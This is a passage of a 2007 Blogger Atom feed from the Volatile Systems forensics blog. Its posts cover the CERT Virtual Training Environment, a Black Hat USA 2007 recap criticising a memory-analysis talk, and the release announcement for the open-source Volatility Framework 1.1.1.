title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=8930796354302421894&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8930796354302421894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8930796354302421894'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/08/dfrws-2007.html' title='DFRWS 2007'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-2791352801512181126</id><published>2007-08-21T10:40:00.000-07:00</published><updated>2007-08-21T10:42:59.139-07:00</updated><title type='text'>CERT Virtual Training Environment</title><content type='html'>Recently at DFRWS, the PDT Forensics team at CERT made me aware of the &lt;a href="https://www.vte.cert.org/vteweb/"&gt;CERT Virtual Training Environmnent&lt;/a&gt;. The VTE provides training and lab material in the areas of forensics, incident response, and information assurance.  This information is available online in the form of short video tutorials and labs.  All of the training has also been transcribed so it could be easily searched. The VTE provides a useful resource and I recommend checking it out and seeing if they have anything you find interesting.  Richard and his team are working really hard to make this a valuable resource for the community.&lt;br /&gt;&lt;br /&gt;We are considering collaborating with the CERT PDT Forensics team to create some tutorials related to volatile memory analysis.  These tutorials would then be made available via the VTE.  If there is something you would like to see in a quick tutorial video or training lab, let us know!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-2791352801512181126?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/2791352801512181126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=2791352801512181126&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/2791352801512181126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/2791352801512181126'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/08/cert-virtual-training-environment.html' title='CERT Virtual Training Environment'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-3326541861138870237</id><published>2007-08-09T10:30:00.000-07:00</published><updated>2007-08-11T15:19:51.251-07:00</updated><title type='text'>Black Hat USA 2007</title><content type='html'>I just returned back from Black Hat and I wanted to give an update in case you weren't able to attend.  There were a number of really good talks this year and I was able to catch up with a lot of old friends.&lt;br /&gt;&lt;br /&gt;One of my favorite talks of the conference was "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Smoke'em&lt;/span&gt; Out!" by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Rohyt&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Belani&lt;/span&gt; and Keith Jones.  In this talk, they discussed the challenges involved in performing digital investigation when dealing with malicious insiders.  This talk was particularly interesting because they discussed these issues within the context of real world investigations they conducted. Both, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Rohyt&lt;/span&gt; and Keith, are extremely knowledgeable and are also engaging presenters. Take advantage of any opportunity you have to hear these gentlemen present!! On the same note, if you are looking for e-discovery and incident response services, I highly recommend Jones Rose &amp;amp; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Dykstra&lt;/span&gt; Associates!  They are really good people and I enjoyed the opportunity to finally meet these guys.&lt;br /&gt;&lt;br /&gt;Unfortunately, I was unable to attend the talk "Breaking Forensics Software: Weaknesses in Critical Evidence Collection" by Chris Palmer, Tim &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Newsham&lt;/span&gt;, and Alex &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Stamos&lt;/span&gt;.  I heard from a number of people that this was a very interesting talk and made a number of valid points about the assumptions that are built into forensics products. I agree with the fact that more work needs to be done on improving the robustness of the forensics tools. Most forensic tools inherently trust the data being analyzed. In the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Volatools&lt;/span&gt; paper, we emphasized that many of the tools being designed for volatile memory analysis also do not consider the malicious adversary and are susceptible to a number of data hiding techniques. This talk is an important reminder that we cannot depend entirely on the results of a single tool and tools need be designed with the malicious adversary in mind.&lt;br /&gt;&lt;br /&gt;The final briefing that I want to discuss is "Black Out: What Really Happened" by Jamie Butler and Kris Kendall. Some of you may have heard that I had gotten a little upset at the end of the talk and I thought I would take this opportunity to let you know "What Really Happened". Let me begin by saying that none of my comments were directed towards Kris Kendall and I apologize to him if he took offense to them.  I have never had the pleasure of meeting Kris but I have heard from mutual friends that he is a good guy.&lt;br /&gt;&lt;br /&gt;This briefing began by discussing the basics of code injection. First, Kris discussed the techniques for performing user mode injection and how these techniques were used in tools such as &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;Metasploit&lt;/span&gt; and Poison Ivy. Next Jamie discussed how to perform "kernel process injection". Much of this material is the same that is presented in many &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;rootkit&lt;/span&gt; classes and books.  After the primer on code injection techniques, Jamie proceeded to present about "Memory Analysis".  He began by discussing how &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;APIs&lt;/span&gt; can be subverted and the importance of memory analysis.  Then he proceeded to relate what he believes are requirements for performing memory analysis. During this time he also made a number of claims about the functionality that his new tool provides. Then he discussed a number of "patent pending" techniques for determining the operating system version and detecting injected &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;DLLs&lt;/span&gt;.  Then he finally performed a demo detecting an injected &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;DLL&lt;/span&gt; using the Virtual Address Descriptors. A "patent pending" technique!!&lt;br /&gt;&lt;br /&gt;Let me briefly discuss the issues that I had with the "Memory Analysis" part of the presentation. First, the slides contain no references to any of the prior research that has been done in this area within the last four years, despite the fact that Black Hat requires it. Many of the "patent-pending" techniques are based on techniques that can be found in open source projects and published research.  Despite what was claimed, I can prove this work was not done in parallel. He declined the challenge to demonstrate the capabilities he claimed in the presentation.   The more I think about this situation it makes me think back to a blog &lt;a href="http://anti-virus-rants.blogspot.com/2006/04/ethical-conflict-in-anti-rootkit.html"&gt;post&lt;/a&gt; . Similar to author of the blog post, I would not purchase nor trust forensics tools written by those who have a vested interest in the continuation of the problem.&lt;br /&gt;&lt;br /&gt;See you at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;DFRWS&lt;/span&gt;!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-3326541861138870237?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/3326541861138870237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=3326541861138870237&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3326541861138870237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3326541861138870237'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/08/black-hat-usa-2007.html' title='Black Hat USA 2007'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-3011629897144360081</id><published>2007-08-01T04:41:00.000-07:00</published><updated>2007-08-01T04:57:55.809-07:00</updated><title type='text'>Announce: Volatility Framework 1.1.1</title><content type='html'>The Volatile Systems team is pleased to announce:&lt;br /&gt;&lt;br /&gt;The volatile memory extraction utility framework:&lt;br /&gt;Volatility Framework 1.1.1&lt;br /&gt;&lt;br /&gt;The Volatility Framework is a completely open collection of tools, implemented in Python under the GNU General Public License, for the extraction of digital artifacts from volatile memory (RAM) images. The extraction techniques are performed completely independent of the system being investigated but still offer visibility into the run time state of the system. The framework is intended to introduce people to the techniques and complexities associated with extracting digital artifacts from volatile memory images and provide a platform for further research into this area.&lt;br /&gt;&lt;br /&gt;Volatility 1.1.1 currently supports the investigations of Microsoft Windows XP Service Pack memory images and provides the following extraction capabilities:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Image date and time&lt;/li&gt;&lt;li&gt;Running processes&lt;/li&gt;&lt;li&gt;Open network sockets&lt;/li&gt;&lt;li&gt;Open network connections&lt;/li&gt;&lt;li&gt;DLLs loaded for each process&lt;/li&gt;&lt;li&gt;Open files for each process&lt;/li&gt;&lt;li&gt;OS kernel modules&lt;/li&gt;&lt;li&gt;Mapping physical offsets to virtual addresses (strings to process mapping)&lt;/li&gt;&lt;li&gt;Virtual Address Descriptor information&lt;/li&gt;&lt;li&gt;Scanning examples: processes, threads, sockets, connections&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Download the Volatility Framework at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.volatilesystems.com/VolatileWeb/volatility.gsp"&gt;http://www.volatilesystems.com/VolatileWeb/volatility.gsp&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Recent Changes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Constraint based linear scanning framework. New modules include psscan, thrdscan, sockscan, connscan. Inspired by the work of Andreas Schuster.&lt;/li&gt;&lt;li&gt;Virtual Address Descriptor modules: vadinfo, vaddump, vadwalk. Based on the research of Brendan Dolan-Gavitt to be presented at DFRWS 2007.&lt;/li&gt;&lt;li&gt;Completely open source (No third-party closed source dependencies)&lt;/li&gt;&lt;li&gt;Auto-identification speed enhancements &lt;/li&gt;&lt;li&gt;Bug fixes in network and socket modules&lt;/li&gt;&lt;li&gt;Symbol dependencies removed &lt;/li&gt;&lt;li&gt;Multiprocessor support&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;The Volatile Systems team&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-3011629897144360081?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/3011629897144360081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=3011629897144360081&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3011629897144360081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3011629897144360081'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/08/announce-volatility-framework-111.html' title='Announce: Volatility Framework 1.1.1'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
